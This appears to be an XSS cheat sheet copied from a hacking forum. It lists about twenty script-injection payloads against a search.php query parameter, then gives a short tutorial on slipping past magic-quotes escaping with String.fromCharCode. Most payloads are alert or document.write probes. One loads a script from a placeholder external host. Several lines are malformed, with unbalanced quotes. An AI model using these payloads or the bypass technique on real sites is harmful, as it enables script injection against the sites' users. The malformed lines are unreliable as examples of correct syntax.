website.com/search.php?q="><script>alert('The Hacker News')</script>
website.com/search.php?q="><script>alert("The Hacker News")</script>
website.com/search.php?q="><script>alert("The Hacker News");</script>
website.com/search.php?q="><script>alert(/The Hacker News");</script>
website.com/search.php?q=//"><script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc<script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc"><script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc"></script><script>alert(/The Hacker News/);</script>
website.com/search.php?q=abc//abc"></script>alert(/The Hacker News/);</script>
website.com/search.php?q=000"><script></script><script>alert(The Hacker
News);</script>
website.com/search.php?q=000abc</script><script>alert(/The Hacker News/);</script>
website.com/search.php?q=--<script>"></script>alert(/The Hacker News/);</script>
website.com/search.php?q=pwned<script>document.write('The Hacker News');</script>
website.com/search.php?q=pwned</script><script>document.write(The Hacker
News);</script>
website.com/search.php?q=pwned')alert(The Hacker News);//
website.com/search.php?q=pwned";)alert(The Hacker News);//
website.com/search.php?q=pwned");alert(/The Hacker News/);//
website.com/search.php?q=pwned//"></script><script>location.href='javascript:alert(/The Hacker News/);</script>
website.com/search.php?q="><img src='javascript:alert('The Hacker News');'>
website.com/search.php?q="><script src='http://malicous js'</script>
Advanced XSS - way to bypass magic quotes filtration
Ok now we are going to learn about some good techniqes. I have came across many sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here http://www.asciitable.com/
This will help you write what you want, In my examples ill be writing "tpz" this is the following code
116 112 122
Ok now we got the Decimal value of our string, we need to know what function in javascript converts this.
String.fromCharCode()
is suitable for this kinda things, its easy to setup, im gona give it my args below. String.fromCharCode(116, 112, 122)
Ok now "String.fromCharCode(116, 112, 122)" Is a JAVA (ASCII) way of saying "tpz". And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.
<script>alert(String.fromCharCode(116, 112, 122))</script>
Ok now this will display or message in this case "tpz", this method is very usefull for bypassing magic quotes and maybe some custom escaping of quotes. There are many others methods, that i m not going to talk about right now.
reference from:
http://www.cyberarmy.in/